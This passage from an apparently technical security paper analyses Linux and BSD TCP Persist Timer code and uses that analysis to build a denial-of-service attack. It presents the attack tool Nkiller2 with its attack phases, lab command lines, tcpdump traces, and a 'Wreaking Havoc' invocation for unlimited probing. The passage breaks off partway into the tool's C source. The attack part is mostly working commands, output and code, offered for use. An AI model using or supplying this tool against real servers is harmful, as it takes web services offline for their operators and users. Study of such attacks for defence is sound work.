Consequently, if the retransmission timeout is less than the maximum allowed value of 2 minutes, then 'alive' = 1 and tcp_orphan_retries will return 8, even if sysctl_tcp_orphan_retries is defined as 0 (which is usually the case as one can see from the proc virtual filesystem: /proc/sys/net/ipv4/tcp_orphan_retries). Keep in mind, however that the RTO (retransmission timeout) is a dynamically computed value, varying when, for example, traffic congestion occurs.

Practically, the case of a socket being dead is when the user application has been requested a small amount of data from the peer. It can then write the data all at once and issue a close(2) on the socket. This will result on a transition from TCP_ESTALISHED to TCP_FIN_WAIT_1. Normally and according to RFC 793, the state FIN_WAIT_1 automatically involves sending a FIN (doing an active close) to the peer. However Linux breaks the official TCP state machine, and will queue this small amount of data, sending the FIN only when all of it has been acknowledged.

net/ipv4/tcp.c:

```
/----------------------------------------------------------------------\

void tcp_close(struct sock *sk, long timeout)
{
/* ... */

        /* RED-PEN. Formally speaking, we have broken TCP state
         * machine. State transitions:
         *
         * TCP_ESTABLISHED -> TCP_FIN_WAIT1
         * TCP_SYN_RECV -> TCP_FIN_WAIT1 (forget it, it's impossible)
         * TCP_CLOSE_WAIT -> TCP_LAST_ACK
         *
         * are legal only when FIN has been sent (i.e. in window),
         * rather than queued out of window. Purists blame.
         *
         * F.e. "RFC state" is ESTABLISHED,
         * if Linux state is FIN-WAIT-1, but FIN is still not sent.

         * F.e. "RFC state" is ESTABLISHED,
         * if Linux state is FIN-WAIT-1, but FIN is still not sent.
         * ...
         */
/* ... */
}

\----------------------------------------------------------------------/
```

Second Case: socket not dead -> in this case 'max_probes' keeps having the default value from 'tcp_retries2'.

'icsk->icsk_probes_out' stores the number of zero window probes so far. Its value is compared to 'max_probes' and if greater, tcp_write_err() is called, which will shutdown the corresponding socket (TCP_CLOSE state). If not, then a zero window probe is sent with tcp_send_probe0().

```
    if (icsk->icsk_probes_out > max_probes) {
        tcp_write_err(sk);
    } else {
        /* Only send another probe if we didn't close things up. */
        tcp_send_probe0(sk);
```

One important factor here is the 'icsk_probes_out' "regeneration" which takes place whenever we send an ACK, regardless of whether this ACK opens the window or keeps it zero. tcp_ack() from tcp_input.c has a line which assigns 0 to 'icsk_probes_out':

```
    no_queue:
        icsk->icsk_probes_out = 0;
```

We mentioned earlier that the TCP Retransmission Timer functionality is loosely tied to the Persist Timer. Indeed, the connecting "circle" between them is the 'tcp_retries2' variable. Also, remember the comment from above:

```
    /* ...
     * We are in full accordance with RFCs, only probe timer combines both
     * retransmission timeout and probe timeout in one bottle.  --ANK
     */
```

tcp_retransmit_timer() calls tcp_write_timeout(), as part of it's checking procedures, which in turns follows a logic similar to the one we saw above in the Persist Timer paradigm. We can see that 'tcp_retries2' plays a major role here, too.

net/ipv4/tcp_timer.c:

```
/----------------------------------------------------------------------\

/*
 *  The TCP retransmit timer.
 */

static void tcp_retransmit_timer(struct sock *sk)
{
/* ... */
`
    if (tcp_write_timeout(sk))
        goto out;
/* ... */
}

/* ... */

/* A write timeout has occurred. Process the after effects. */
static int tcp_write_timeout(struct sock *sk)
{
    /* ... */

    retry_until = sysctl_tcp_retries2;
        if (sock_flag(sk, SOCK_DEAD)) {
            const int alive = (icsk->icsk_rto < TCP_RTO_MAX);

            retry_until = tcp_orphan_retries(sk, alive);

            if (tcp_out_of_resources(sk, alive || icsk->icsk_retransmits
                    < retry_until))
                return 1;
        }
    }

    if (icsk->icsk_retransmits >= retry_until) {
        /* Has it gone just too far? */
        tcp_write_err(sk);
        return 1;
    }

\---------------------------------------------------------------------/
```

The idea of combining the two timer algorithms is also mentioned in RFC 1122. Specifically, Section 4.2.2.17 - Probing Zero Windows states:

> "This procedure minimizes delay if the zero-window condition is due to a lost ACK segment containing a window-opening update. Exponential backoff is recommended, possibly with some maximum interval not specified here. This procedure is similar to that of the retransmission algorithm, and it may be possible to combine the two procedures in the implementation."

In addition, both OpenBSD and FreeBSD follow the notion of the timer timeout combination. We can see this from the code excerpt below (OpenBSD 4.4).

```
sys/netinet/tcp_timer.c:
/---------------------------------------------------------------------\

void
tcp_timer_persist(void *arg)
{
    struct tcpcb *tp = arg;
    uint32_t rto;
    int s;

    s = splsoftnet();
    if ((tp->t_flags & TF_DEAD) ||
            TCP_TIMER_ISARMED(tp, TCPT_REXMT)) {
        splx(s);
        return;
    }
    tcpstat.tcps_persisttimeo++;
    /*
     * Hack: if the peer is dead/unreachable, we do not
```

```
         * time out if the window is closed.  After a full
         * backoff, drop the connection if the idle time
         * (no responses to probes) reaches the maximum
         * backoff that we would use if retransmitting.
         */
        rto = TCP_REXMTVAL(tp);
        if (rto < tp->t_rttmin)
            rto = tp->t_rttmin;
        if (tp->t_rxtshift == TCP_MAXRXTSHIFT &&
            ((tcp_now - tp->t_rcvtime) >= tcp_maxpersistidle ||
            (tcp_now - tp->t_rcvtime) >= rto * tcp_totbackoff)) {
            tcpstat.tcps_persistdrop++;
            tp = tcp_drop(tp, ETIMEDOUT);
            goto out;
        }
        tcp_setpersist(tp);
        tp->t_force = 1;
        (void) tcp_output(tp);
        tp->t_force = 0;
 out:
        splx(s);
}

\----------------------------------------------------------------------/
```

This of course doesn’t mean that the timers are connected in any other way. In fact, they are mutually exclusive, as when one of them is set the other is cleared.

Summing up, to successfully trigger and later exploit the Persist Timer the following prerequisites need to be met:

a) The amount of data requested needs to be big enough so that the userspace application cannot write the data all at once and issue a close(2), thus going into FIN_WAIT_1 state and marking the socket as SOCK_DEAD.

b) Assuming the default value of ’tcp_retries2’, we need to send an ACK (still advertising a 0 window though) at least every less than 15 persist timer probes. This will be long enough to reset ’icsk_probes_out’ back to zero and thus avoid the tcp_write_err() pitfall.

c) The zero window advertisement will have to take place immediately after acknowledging all the data in transit. This, of course, may include piggybacking the ACK of the data, with the window advertisement.

It is now time to dive into the nitty-gritty details of the attack.

-- [4 - The attack

We are going to analyse the attack steps along with a tool that automates the whole procedure, Nkiller2. Nkiller2 is a major expansion of the original Nkiller I had written some time ago and which was based on the idea at [1]. Nkiller2 takes the attack to another level, that we shall discuss shortly.

---- [4.1 - Kernel memory exhaustion pitfalls

The idea presented at [1] was, at the time it was published, an almost deadly attack. Netkill’s purpose was to exhaust the available kernel memory by issuing multiple requests that would go unanswered on the receiver’s end as far as the ACKing of the data was concerned. These requests would hopefully involve the sending of a small amount of data,

such that the user application would write the data all at once, issue a close(2) call and move on to serve the rest of the requests. As we mentioned before, as long as the application has closed the socket, the TCP state is going to become FIN_WAIT_1 in which the socket is marked as orphan, meaning it is detached from the userspace and doesn't anymore clog the connection queue. Hence, a rather big number of such requests can be made without being concerned that the user application will run out of available connection slots. Each request will partially fill the corresponding kernel buffers, thus bringing the system down to its knees after no more kernel memory is available.
However, the idea behind Netkill no longer poses a threat to modern network stack implementations. Most of them provide mechanisms that nullify the attack's potential by instantly killing any orphan sockets, in case of urgent need of memory. For example, Linux calls a specific handler, tcp_out_of_recources(), which deals with such situations.

net/ipv4/tcp_timer.c:

```
/---------------------------------------------------------------------\

/* Do not allow orphaned sockets to eat all our resources.
 * This is direct violation of TCP specs, but it is required
 * to prevent DoS attacks. It is called when a retransmission timeout
 * or zero probe timeout occurs on orphaned socket.
 *
 * Criteria is still not confirmed experimentally and may change.
 * We kill the socket, if:
 * 1. If number of orphaned sockets exceeds an administratively configured
 *    limit.
 * 2. If we have strong memory pressure.
 */
static int tcp_out_of_resources(struct sock *sk, int do_reset)
{
    struct tcp_sock *tp = tcp_sk(sk);
    int orphans = atomic_read(&tcp_orphan_count);

    /* If peer does not open window for long time, or did not transmit
     * anything for long time, penalize it. */
    if ((s32)(tcp_time_stamp - tp->lsndtime) > 2*TCP_RTO_MAX || !do_reset)
        orphans <<= 1;

    /* If some dubious ICMP arrived, penalize even more. */
    if (sk->sk_err_soft)
        orphans <<= 1;

    if (orphans >= sysctl_tcp_max_orphans ||
        (sk->sk_wmem_queued > SOCK_MIN_SNDBUF &&
         atomic_read(&tcp_memory_allocated) > sysctl_tcp_mem[2])) {
        if (net_ratelimit())
            printk(KERN_INFO "Out of socket memory\n");

        /* Catch exceptional cases, when connection requires reset.
         *      1. Last segment was sent recently. */
        if ((s32)(tcp_time_stamp - tp->lsndtime) <= TCP_TIMEWAIT_LEN ||
            /*  2. Window is closed. */
            (!tp->snd_wnd && !tp->packets_out))
            do_reset = 1;
        if (do_reset)
            tcp_send_active_reset(sk, GFP_ATOMIC);
        tcp_done(sk);
        NET_INC_STATS_BH(LINUX_MIB_TCPABORTONMEMORY);
        return 1;
    }
    return 0;
}

\---------------------------------------------------------------------/
```

The comments and the code speak for themselves. tcp_done() moves the TCP state to TCP_CLOSE, essentially killing the connection, which will probably be in FIN_WAIT_1 state at that time (the tcp_done function is also called by tcp_write_err() mentioned above).

In addition to the above pitfall, the way Netkill works, wastes a lot of bandwidth from both sides, making the attack more noticeable and less efficient. Netkill sends a flurry of syn packets to the victim, waits for the SYNACK and responds by completing the 3way handshake and piggybacking the payload request in the current ACK. Since, any data replies from the victim's user application (usually a web server) will go unanswered, TCP will start retransmitting these packets. These packets, however, are ones that carry a load of data with them, whose size is proportional to the initial window and mss advertised. The minimum amount of data is usually 512 bytes, which given the vast amount of retransmissions that will eventually take place, can lead to network congestion, lost packets and sysadmin red alarms.

As we can see, kernel memory exhaustion is not an easily accomplished option in today's operating systems, at least by means of a generic DoS attack. The attack vector has to be adapted to current circumstances.

---- [4.2 - Attack Vector

Our goal is to perform a generic DoS attack that meets the following criteria:

a) The duration of the attack has to be prolonged as long as possible. The TCP Persist Timer exploitation extends the duration to infinity. The only time limits that will take place will be the ones imposed by the userspace application.

b) No resources will be spent on our part to keep any kind of state information from the victim. Any memory resources spent will be O(1), which means regardless of the number of probes we send to the victim, our own memory needs will never surpass a certain initial amount.

c) Bandwidth throttling will be kept to a minimum. Traffic congestion has to be avoided if possible.

d) The attack has to affect the availability of both the userspace application as well as the kernel, at the extent that this is feasible.

To meet requirement 'b', we are going to use a packet-triggering behaviour and the, now old, technique of reverse (or client) syn cookies. Basically, this means that our answers will strictly depend on nothing else other than the packets received from the victim. How is this even possible? We are going to use a series of packet-parsing techniques and craft the packets in such a way that they carry within themselves any information that is needed to make decisions.

The general procedure will go like this:

- Phase 1.

Attacker sends a group of SYN packets to the victim. In the sequence number field, he has encoded a magic number that stems from the cryptographic hash of { destination IP & port, source IP & port } and a secret key. By this way, he can discern if any SYNACK packet he gets, actually corresponds to the SYN packets he just sent. He can accomplish that by comparing the (ACK seq number - 1) of the victim's SYNACK reply with the hash of the same packet's socket quadruple based on the secret key. We subtract 1, since the SYN flag occupies one sequence number as stated by RFC 793. The above technique is known as reverse syn cookies, since they differ from the usual syn cookies which protect from syn flooding, in that they are used from the reverse side, namely the client and not the server. Responsible for the cookie calculation and subsequent encoding is Nkiller2's calc_cookie() function.

Now, apart from the sequence number encoding, we are also going to use a nifty facility that TCP provides, as means to our own ends. The TCP Timestamp Option is normally used as another way to estimate the RTT.

The option uses two 32bit fields, 'tsval' which is a value that increases monotonically by the TCP timestamp clock and which is filled in by the current sender and 'tsecr' - timestamp echo reply - which is the peer's echoed value as stated in the tsval of the packet to which the current one replies. The host initiating the connection places the option in the first SYN packet, by filling tsval with a value, and zeroing tsecr. Only if the peer replies with a Timestamp in the SYNACK packet, can any future segments keep containing the option. build_timestamp() embeds the timestamp option in the crafted TCP header, while get_timestamp() extracts it from a packet reply.

```
      TCP Timestamps Option (TSopt):

         Kind: 8

         Length: 10 bytes

          +-------+-------+---------------------+---------------------+
          |Kind=8 |  10   |   TS Value (TSval)  |TS Echo Reply (TSecr)|
          +-------+-------+---------------------+---------------------+
              1       1              4                     4
```

We are going to use the Timestamp option as a means to track time. We will later have to exploit the TCP Persist Timer and eventually answer to some of his probes, but this will have to involve calculating how much time has passed. Consequently, we are going to encode our own system's current time inside the first 'tsval'. In the SYNACK reply that we are going to get, 'tsecr' will reflect that same value. Thus, by subtracting the value placed in the echo reply field from the current system time, we can deduce how much time has passed since our last packet transmission without keeping any stateful information for each probe. We are going to extract and encode timestamp information from every packet hereafter. Timestamps are supported by every modern network stack implementation, so we aren't going to have any trouble dealing with them.

- Phase 2.

The victim replies with a SYNACK to each of the attacker's initial SYN probes. These kinds of packets are really easy to differentiate between the rest of the ones we will be receiving, since no other packet will have both the SYN flag and the ACK flag set. In addition, as we noted above, we can realize if these packets actually belong to our own probes and not some other connection happening at the same time to the host, by using the reverse syn cookie technique.

We have to mention here that under no circumstances should our system's kernel be let to affect any of our connections. Thus, we should take care beforehand to have filtered any traffic destined to or coming from the victim's attacked ports.

Having gotten the victim's SYNACK replies, we complete the 3way handshake by sending the ACK required (send_probe: S_SYNACK). We also piggyback the data of the targeted userspace application request. We save bandwidth, time and trouble by adopting a perfectly allowable behaviour. Nothing else exciting happens here.

- Phase 3.

Now things get a bit more complicated. It is here that the road starts forking depending on the target host's network stack implementation. Nkiller2 uses the notion of virtual states, as I called them, which are a way to differentiate between each unique case by parsing the packet for relevant information. The handler responsible for parsing the victim's replies and deciding the next virtual state is check_replies(). It sets the variable 'state' accordingly and main() can then deduce inside it's main loop the next course of action, essentially by calling the generic send_probe() packet-crafter with the proper state argument and updating some of its own loop variables.

First case: the target host sends a pure ACK (meaning a packet with no data), which acknowledges our payload sent in Phase 2. This virtual state is mentioned as S_FDACK (State - First Data Acknowledgment) in the Nkiller2 codebase.

Second case: the target host sends the ACK which acknowledged our payload from Phase 2, piggybacked with the first data reply of the userspace application to which we made the request. This usually happens due to the Delayed Acknowledgment functionality according to which, TCP waits some time (class of microseconds) to see if there are any data which it can send along with an ACK.

Usually, Linux behaviour follows the first case while *BSD and Windows follow the second. The critical question here is when to send the zero window advertisement. Ideally, we could reply to the first case's pure ACK with an ACK of our own (with the same acknowledgment number as the sequence number in the victim's packet) that advertised a zero window. However, in most cases we won't have that chance, since the victim's TCP will send, immediately after this pure ACK, the first data of the userspace application in a separate segment. Thus, if we advertise a zero window when the opposite TCP has already wrote to the network the first data, we will fail to trigger the Persist Timer as we saw during the analysis in part 3 of this paper. Consequently, we play it safe and choose to ignore the FDACK and wait for the first segment of data to arrive.

- Phase 4

This stage also differs from one operating system to another, since it is deeply connected to Phase 3. For every number mentioned from now on, assume that Nkiller's initial window advertisement and mss is 1024. Linux, under normal circumstances, will send two data segments with a minimum amount of 512 bytes each. Additionally, any data segment following the first one, will have the PUSH flag set. On the other hand, *BSD and BSD-derivative implementations will send one bigger data segment of 1024 bytes, without setting the PUSH flag.
To be able to take the right decisions for each unique case involved, Nkiller2 will have to be provided with a template number. It is trivial to identify the different network stacks by using already existing tools, so when you are unsure about the target system, either use Nmap's OS fingerprinting capability or at worst, a trial-and-error method. At the moment with only 2 different templates (T_LINUX and T_BSDWIN), Nkiller2 is able to work against a vast amount of systems.
In the default template (Linux), Nkiller2 is going to send a zero window advertisement on the ACK of the second segment (which is going to involve acking the first segment as well), while when dealing with BSD or Windows, it will send it on the ACK of the first and only data segment. The resolving between these two cases takes place in send_probe()'s main body in 'case S_DATA_0' (State - Data 0, as in first data packet).

- Phase 5

Having successfully sent the zero window packet (regardless of how and when that happened), the target host's TCP will start sending zero probes. This is where we accomplish meeting requirement 'c' - bandwidth waste limitation. Every retransmission that will take place, will involve pure ACKs (Linux) or at maximum 1 byte of data (BSD/Windows). Every zero probe is only 52 bytes long, counting TCP/IP headers and the TCP Timestamp

option, in contrast with the size of the retransmission packets (512 + 40 bytes or 1024 + 40 bytes each) that would take place if we had triggered the TCP retransmission timer, as in netkill’s case.
An interesting issue here is to decide on when is the best time to reply to the zero probes, so that the TCP persist timer is ideally prolonged to last forever with the fewest packets possible. Using the TCP timestamp technique, we can calculate the time elapsed from the moment we sent the zero window advertisement (since that was our last packet and that one’s time value will be echoed in ’tsecr’) to the moment we got the packet.

```
check_replies()
/----------------------------------------------------------------------\


      if (get_timestamp(tcp, &tsval, &tsecr)) {
        if (gettimeofday(&now, NULL) < 0)
          fatal("Couldn’t get time of day\n");
        time_elapsed = now.tv_sec - tsecr;
        if (o.debug)
          (void) fprintf(stdout, "Time elapsed: %u (sport: %u)\n",
              time_elapsed, sockinfo.sport);
      }

      ...

      if (ack == calc_ack && (!datalen || datalen == 1)
          && time_elapsed >= o.probe_interval) {
        state = S_PROBE;
        goodone++;
        break;
      }

\----------------------------------------------------------------------/
```

Hence, we can decide on whether or not we should send a reply to the current zero probe (S_PROBE), depending on a predetermined rough estimate of the time lapse. We also use this ’probe_interval’ value to differentiate between a zero probe and the FDACK, since there are no other packet characteristics, apart from time arrival, that we can take into account in this stateless manner. This phase marks the accomplishment of our 1st goal - prolonging the attack to as much as possible.

A graphical representation of the procedure is shown below. Remember that the states are purely virtual. We do not keep any kind of information on our part.

```
      (cookie OK)   +----------+
 SYN -------------> | S_SYNACK |
      rcv SYNACK    +----------+
                          |
               ACK SYNACK |
            send request  |
                          |     pure ACK       +---------+
                          | ---------------->  | S_FDACK |
                          |   time_elapsed <   +---------+
                          |   probe_interval      ignore
                          |
                 got Data |
                          V
                     +----------+
                     | S_DATA_0 |
                     +----------+
                          |
                         / \
                        /   \
          T_BSDWIN     /     \   T_LINUX (default)
      ----------------/       \ ---------------
      |                                       |
      |                                       | got Data (PSH)
      |                                       | ACK(data0)
      V                                       V
  ACK(data0) &                          +----------+
  send 0 window                         | S_DATA_1 |
      |                                 +----------+
      |---------------         ---------------|
                      \       /   ACK(data1) & send 0 window
                       \     /
                        \   /
                         \ /
     |------> time_elapsed >= probe_interval
     |                    |
     |                    |
     |                    V
     |               +---------+
     |               | S_PROBE | --------> send probe reply
     |               +---------+
     |                    |
     |--------------------|
```

The only thing that still needs to be answered is to what extent we have achieved goal 'd'. How efficient is the attack really? The answer is, that it depends on what we are attacking. Attacking one userspace application will usually lead to either backlog queue collapse or reaching the maximum allowable number of concurrent accepted connections. In both cases, the availability of the userspace application will drop down to zero and will stay in that condition for a possibly unlimited amount of time. Keep in mind though that robust server applications like Apache have a Timeout of their own, which is independent of TCP's. Quoting from Apache's manual:

> "The TimeOut directive currently defines the amount of time Apache will
> wait for three things:
>
> 1. The total amount of time it takes to receive a GET request.
> 2. The amount of time between receipt of TCP packets on a POST or PUT
>   request.
> 3. The amount of time between ACKs on transmissions of TCP packets in
>   responses."

By default, Apache httpd's TimeOut = 300 which means 5 minutes. Following a similar approach, lighttpd's default timeout is about 6 minutes.
Even then, as long as the attack cycle continues (Hint: Nkiller's option -n0), there is no hope for any server not protected by a stateful firewall that limits the total number of packets reaching the host (which still won't be enough by itself given the TCP Persist Timer's exploitation).

At the same time, useful kernel resources are wasted on the SendQueue of each established connection. However, for kernel memory exhaustion to occur, we will have to perform a concurrent attack at multiple applications (Nkiller2 isn't optimized for this though). By this way, the amount of kernel resources wasted will be proportional to the number of the attacked applications and the amount of successful connections on each of them. Even if one service is brought down temporarily for one reason or another, there will still be the other applications wasting memory with a filled up TCP SendQueue.

---- [4.3 Test cases

Time for some real world examples. We are going to demonstrate how Nkiller2 exploits the Persist Timer functionality and at the same time point out the different behaviour that is exhibited from a Linux system in contrast with an OpenBSD system. The file requested has to be more than 4.0 Kbytes (experimental value).

- Test Case 1.

Attacker: 10.0.0.12, Linux 2.6.26
Target: 10.0.0.50, Apache1.3, OpenBSD 4.3

```
# iptables -A INPUT -s 10.0.0.50 -p tcp --dport 80 -j DROP
# iptables -A INPUT -s 10.0.0.50 -p tcp --sport 80 -j DROP
# ./nkiller2 -t 10.0.0.50 -p80 -w /file -v -n1 -T1 -P120 -s0 -g

Starting Nkiller 2.0 ( http://sock-raw.org )
Probes: 1
Probes per round: 100
Pcap polling time: 100 microseconds
Sleep time: 0 microseconds
Key: Nkiller31337
Probe interval: 120 seconds
Template: BSD | Windows
Guardmode on


# tcpdump port 80 and host 10.0.0.50 -n

08:55:30.017021 IP 10.0.0.12.40428 > 10.0.0.50.80: S 3456779693:
3456779693(0) win 1024 <timestamp 1232693730 0,nop,nop,mss 1024>
08:55:30.017280 IP 10.0.0.50.80 > 10.0.0.12.40428: S 3072651811:
3072651811(0) ack 3456779694 win 16384 <mss 1460,nop,nop,timestamp
464912143 1232693730>
08:55:30.017461 IP 10.0.0.12.40428 > 10.0.0.50.80: . 1:23(22) ack 1
win 1024 <timestamp 1232693730 464912143,nop,nop>
08:55:30.019288 IP 10.0.0.50.80 > 10.0.0.12.40428: . 1:1013(1012) ack 23
win 17204 <nop,nop,timestamp 464912143 1232693730>
08:55:30.019311 IP 10.0.0.12.40428 > 10.0.0.50.80: . ack 1013 win 0
<timestamp 1232693730 464912143,nop,nop>
08:55:35.009929 IP 10.0.0.50.80 > 10.0.0.12.40428: . 1013:1014(1) ack 23
win 17204 <nop,nop,timestamp 464912153 1232693730>
08:55:40.009505 IP 10.0.0.50.80 > 10.0.0.12.40428: . 1013:1014(1) ack 23
win 17204 <nop,nop,timestamp 464912163 1232693730>
08:55:45.009056 IP 10.0.0.50.80 > 10.0.0.12.40428: . 1013:1014(1) ack 23
win 17204 <nop,nop,timestamp 464912173 1232693730>
08:55:53.008388 IP 10.0.0.50.80 > 10.0.0.12.40428: . 1013:1014(1) ack 23
win 17204 <nop,nop,timestamp 464912189 1232693730>
08:56:09.007027 IP 10.0.0.50.80 > 10.0.0.12.40428: . 1013:1014(1) ack 23
win 17204 <nop,nop,timestamp 464912221 1232693730>
08:56:41.004286 IP 10.0.0.50.80 > 10.0.0.12.40428: . 1013:1014(1) ack 23
win 17204 <nop,nop,timestamp 464912285 1232693730>
08:57:40.999239 IP 10.0.0.50.80 > 10.0.0.12.40428: . 1013:1014(1) ack 23
win 17204 <nop,nop,timestamp 464912405 1232693730>
08:57:40.999910 IP 10.0.0.12.40428 > 10.0.0.50.80: . ack 1013 win 0
<timestamp 1232693860 464912405,nop,nop>
...
```

Notice that OpenBSD transmits httpd's initial data in one segment in which the ACK to our payload is included. Nkiller2 acknowledges that packet, advertising at the same time a zero window. After that, OpenBSD's TCP transmits a zero probe and sets the Persist Timer. After a little more than 120 seconds (57:40 - 55:30), we answer to the Persist Timer's probe. Note that we specified the probe_interval with the option -P120 (approximately 120 seconds).

- Test Case 2.

Attacker: 10.0.0.12, Linux 2.6.26
Target: 10.0.0.101, Apache2.2.3, Debian "etch" (2.6.18)

```
# iptables -A INPUT -s 10.0.0.101 -p tcp --dport 80 -j DROP
# iptables -A INPUT -s 10.0.0.101 -p tcp --sport 80 -j DROP
# ./nkiller2 -t 10.0.0.101 -p80 -w /file -n1 -T0 -P50 -s0 -v

Starting Nkiller 2.0 ( http://sock-raw.org )
Probes: 1
Probes per round: 100
Pcap polling time: 100 microseconds
Sleep time: 0 microseconds
Key: Nkiller31337
Probe interval: 50 seconds
Template: Linux


# tcpdump port 80 and host 10.0.0.101 -n

01:09:33.350783 IP 10.0.0.12.26528 > 10.0.0.101.80: S 3497611066:
3497611066(0) win 1024 <timestamp 1232752173 0,nop,nop,mss 1024>
01:09:33.350893 IP 10.0.0.101.80 > 10.0.0.12.26528: S 2167814821:
2167814821(0) ack 3497611067 win 5792 <mss 1460,nop,nop,timestamp
4294906445 1232752173>
01:09:33.351189 IP 10.0.0.12.26528 > 10.0.0.101.80: . 1:23(22) ack 1
win 1024 <timestamp 1232752173 4294906445,nop,nop>
01:09:33.351308 IP 10.0.0.101.80 > 10.0.0.12.26528: . ack 23 win 5792
<nop,nop,timestamp 4294906445 1232752173>
01:09:33.382100 IP 10.0.0.101.80 > 10.0.0.12.26528: . 1:513(512) ack 23
win 5792 <nop,nop,timestamp 4294906452 1232752173>
01:09:33.382138 IP 10.0.0.101.80 > 10.0.0.12.26528: P 513:1025(512) ack 23
win 5792 <nop,nop,timestamp 4294906452 1232752173>
01:09:33.389359 IP 10.0.0.12.26528 > 10.0.0.101.80: . ack 513 win 512
<timestamp 1232752173 4294906452,nop,nop>
01:09:33.389508 IP 10.0.0.12.26528 > 10.0.0.101.80: . ack 1025 win 0
<timestamp 1232752173 4294906452,nop,nop>
01:09:33.590164 IP 10.0.0.101.80 > 10.0.0.12.26528: . ack 23 win 5792
<nop,nop,timestamp 4294906505 1232752173>
01:09:33.998135 IP 10.0.0.101.80 > 10.0.0.12.26528: . ack 23 win 5792
<nop,nop,timestamp 4294906607 1232752173>
01:09:34.814073 IP 10.0.0.101.80 > 10.0.0.12.26528: . ack 23 win 5792
<nop,nop,timestamp 4294906811 1232752173>
01:09:36.445959 IP 10.0.0.101.80 > 10.0.0.12.26528: . ack 23 win 5792
<nop,nop,timestamp 4294907219 1232752173>
01:09:39.709739 IP 10.0.0.101.80 > 10.0.0.12.26528: . ack 23 win 5792
<nop,nop,timestamp 4294908035 1232752173>
01:09:46.237279 IP 10.0.0.101.80 > 10.0.0.12.26528: . ack 23 win 5792
<nop,nop,timestamp 4294909667 1232752173>
01:09:59.292377 IP 10.0.0.101.80 > 10.0.0.12.26528: . ack 23 win 5792
<nop,nop,timestamp 4294912931 1232752173>
01:10:25.402550 IP 10.0.0.101.80 > 10.0.0.12.26528: . ack 23 win 5792
<nop,nop,timestamp 4294919459 1232752173>
01:10:25.427760 IP 10.0.0.12.26528 > 10.0.0.101.80: . ack 1024 win 0
<timestamp 1232752225 4294919459,nop,nop>
...
```

Linux first sends a pure ACK (which is ignored by Nkiller2) and then transmits the first 2 data segments (512 bytes each). Nkiller2 waits until both of them arrive and acknowledges them with one zero window ACK packet. Linux then starts sending us zero probes (which have a datalength equal to zero in constrast with *BSD which send 1 byte of data), that go unanswered until about (10:25 - 09:33) 50 seconds pass.

- Test Case 'Wreaking Havoc'

```
# nkiller2 -t <target> -p80 -w <path> -n0 -T0 -P100 -s0 -v -N100
```

-n0: unlimited probes

-N100: will send 100 SYN probes per round (a round finishes when
we either get a data segment or a zero probe)

Use at your own discretion.

-- [5 - Nkiller2 implementation

```
/*
 *  Nkiller 2.0 - a TCP exhaustion/stressing tool
 *  Copyright (C) 2009 ithilgore <ithilgore.ryu.L@gmail.com>
 *  sock-raw.org
 *
 *  This program is free software: you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation, either version 3 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

/*
 * COMPILATION:
 *  gcc nkiller2.c -o nkiller2 -lpcap -lssl -Wall -O2
 * Has been tested and compiles successfully on Linux 2.6.26 with gcc
 * 4.3.2 and FreeBSD 7.0 with gcc 4.2.1
 */


/*
 * Enable BSD-style (struct ip) support on Linux.
 */
#ifdef __linux__
# ifndef __FAVOR_BSD
#  define __FAVOR_BSD
# endif
# ifndef __USE_BSD
#  define __USE_BSD
# endif
# ifndef _BSD_SOURCE
#  define _BSD_SOURCE
# endif
# define IPPORT_MAX 65535u
#endif


#include <sys/types.h>
#include <sys/socket.h>

#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

#include <openssl/hmac.h>

#include <errno.h>
#include <pcap.h>
#include <stdarg.h>
#include <stdio.h>
```

```
#include <stdlib.h>
#include <string.h>
#include <sysexits.h>
#include <time.h>
#include <unistd.h>
#include <getopt.h>


#define DEFAULT_KEY             "Nkiller31337"
#define DEFAULT_NUM_PROBES      100000
#define DEFAULT_PROBES_RND      100
#define DEFAULT_POLLTIME        100
#define DEFAULT_SLEEP_TIME      100
#define DEFAULT_PROBE_INTERVAL  150

#define WEB_PAYLOAD     "GET / HTTP/1.0\015\012\015\012"

/* Timeval subtraction in microseconds */
#define TIMEVAL_SUBTRACT(a, b) \
  (((a).tv_sec - (b).tv_sec) * 1000000L + (a).tv_usec - (b).tv_usec)

/*
 * Pseudo-header used for checksumming; this header should never
 * reach the wire
 */
typedef struct pseudo_hdr {
  uint32_t src;
  uint32_t dst;
  unsigned char mbz;
  unsigned char proto;
  uint16_t len;
} pseudo_hdr;


/*
 * TCP timestamp struct
 */
typedef struct tcp_timestamp {
  char kind;
  char length;
  uint32_t tsval __attribute__((__packed__));
  uint32_t tsecr __attribute__((__packed__));
  char padding[2];
} tcp_timestamp;

/*
 * TCP Maximum Segment Size
 */
typedef struct tcp_mss {
  char kind;
  char length;
  uint16_t mss __attribute__((__packed__));
} tcp_mss;


/* Network stack templates */
enum {
  T_LINUX,
  T_BSDWIN
};

/* Possible replies */
enum {
  S_ERR,      /* no reply, RST, invalid packet etc */
  S_SYNACK,   /* 2nd part of initial handshake */
  S_FDACK,    /* first data ack - in reply to our first data */
  S_DATA_0, /* first data packet */
  S_DATA_1,   /* second data packet */
  S_PROBE     /* persist timer probe */
};

/*
 * Ethernet header stuff.
 */
#define ETHER_ADDR_LEN  6
#define SIZE_ETHERNET   14
typedef struct ethernet {
  u_char ether_dhost[ETHER_ADDR_LEN]; /* Destination host address */
  u_char ether_shost[ETHER_ADDR_LEN]; /* Source host address */
  u_short ether_type;                 /* Frame type */
} ether_hdr;


/*
 * Global nkiller options struct
 */
typedef struct Options {
  char target[16];
  char skey[32];
  char payload[256];
  char path[256];          /* relative to virtual-host/ip path */
  char vhost[256];         /* virtual host name */
  uint16_t *portlist;
  unsigned int probe_interval; /* interval for our persist probe reply */
  unsigned int probes;     /* total number of fully-connected probes */
  unsigned int probes_per_rnd; /* number of probes per round */
  unsigned int polltime;  /* how many microsecods to poll pcap */
  unsigned int sleep;      /* sleep time between each probe */
  int template;            /* victim network stack template */
  int dynamic;             /* remove ports from list when we get RST */
  int guardmode;           /* continue answering to zero probes */
  int verbose;
  int debug;               /* some debugging info */
  int debug2;              /* all debugging info */
} Options;


/*
 * Port list types
 */
typedef struct port_elem {
  uint16_t port_val;
